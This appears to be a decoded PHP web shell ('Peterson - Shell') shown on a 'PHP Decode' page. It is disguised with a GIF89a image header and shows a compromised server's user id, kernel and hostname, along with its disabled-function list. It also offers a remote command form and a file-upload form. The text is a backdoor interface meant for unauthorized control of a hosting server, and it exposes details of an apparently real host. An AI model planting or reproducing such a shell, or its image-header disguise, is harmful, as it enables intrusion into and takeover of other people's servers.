PHP Decode

<?  GIF89a???????????!??????,???????D?;?<title>Peterson - Shell</title><br><br><font size=2 color=#888888><b>SAFE_MODE : OFF</b><br><font size=2 color=#888888><b>User : uid=10155() gid=2523()</b><br><font size=2 color=#888888><b>Uname : Linux lhost119.adeox.com 2.6.18-348.6.1.el5PAE #1 SMP Tue May 21 16:17:08 EDT 2013 i686</b><br><font size=2 color=#888888><b>Disable Functions : ini_set,mail,symlink,get_current_user,virtual,pcntl_fork,pcntl_signal,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,openlog,apache_get_modules,apache_get_version,apache_getenv,apache_note,apache_setenv,syslog,fpassthru,show_source,posix_mkfifo,mysql_list_dbs,proc_close,proc_get_status,proc_nice,proc_open,cat,popen,dl,pfsockopen,shell,execute,system,escapeshellcmd,fileread,escapeshellarg,exec,shell_exec,passthru<form method="POST" action=""><font size=2 color=#888888><b>Command</b><br><input type="text" name="cmd"><input type="Submit" name="command" value="cok"></form><form enctype="multipart/form-data" action method=POST><font size=2 color=#888888><b>Upload File</b></font><br><input type=hidden name="submit"><input type=file name="userfile" size=28><br><font size=2 color=#888888><b>New name: </b></font><input type=text size=15 name="newname" class=ta><input type=submit class="bt" value="Upload"></form><pre><font size=3 color=#000000></font></pre> ?>